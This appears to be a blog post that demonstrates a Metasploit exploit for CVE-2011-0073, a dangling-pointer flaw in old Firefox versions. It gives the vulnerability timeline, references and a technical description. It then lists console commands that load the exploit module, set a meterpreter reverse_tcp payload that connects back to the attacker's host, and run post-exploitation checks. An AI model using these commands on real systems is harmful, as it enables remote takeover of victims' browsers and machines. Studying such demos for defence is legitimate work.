CVE-2011-0073 : Mozilla Firefox nsTreeRange Dangling Pointer Vulnerability
Timeline :
Vulnerability discovered by regenrecht
Vulnerability reported to vendor by ZDI the 2011-02-02
Coordinated public release of advisory the 2011-05-09
Metasploit exploit released the 2011-07-10
PoC provided by :
regenrecht
xero
Reference(s) :
CVE-2011-0073
OSVDB-72087
ZDI-11-157
MFSA2011-13
Affected version(s) :
Firefox 3.6.16 and bellow
Firefox 3.5.18 and bellow
Seamonkey 2.0.13 and bellow
Tested on Windows XP SP3 with :
Firefox 3.6.9
Description :
This module exploits a code execution vulnerability in Mozilla Firefox 3.6.x and 3.5.x found in nsTreeSelection. By overwriting a subfunction of invalidateSelection it is possible to free the nsTreeRange object that the function currently operates on. Any further operations on the freed object can result in remote code execution. Utilizing the call setup the function provides it’s possible to bypass DEP without the need for a ROP. Sadly this exploit is still either dependent on Java or bound by ASLR because Firefox doesn’t employ any ASLR-free modules anymore.
Commands :
use exploit/windows/browser/mozilla_nstreerange
set SRVHOST 192.168.178.21
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploitsessions -i 1
sysinfo
getuid
ipconfig
I recommend you to read these related posts
- CVE-2011-0065 : Mozilla Firefox mChannel use after free vulnerability Metasploit Demo
- CVE-2011-2371 Mozilla Firefox Array.reduceRight() Integer Overflow Metasploit Demo
- CVE-2006-3677 : Mozilla Suite/Firefox Navigator Object Code Execution
- CVE-2010-3765 : Mozilla Firefox Interleaving document.write and appendChild Exploit
- CVE-2005-2265 : Mozilla Suite/Firefox InstallVersion compareTo() Code Execution
- CVE-2011-3658 Firefox 7/8 nsSVGValue Vulnerability Metasploit Demo
- Mozilla Firefox Bootstrapped Add-on Social Engineering Code Execution Metasploit Demo
- CVE-2011-3659 Firefox 8/9 AttributeChildRemoved() Use-After-Free Metasploit Demo
- Fraudulent TURKTRUST Digital Certificat Used In Active Attacks
- CVE-2010-3867 : ProFTPD IAC Remote Root Exploit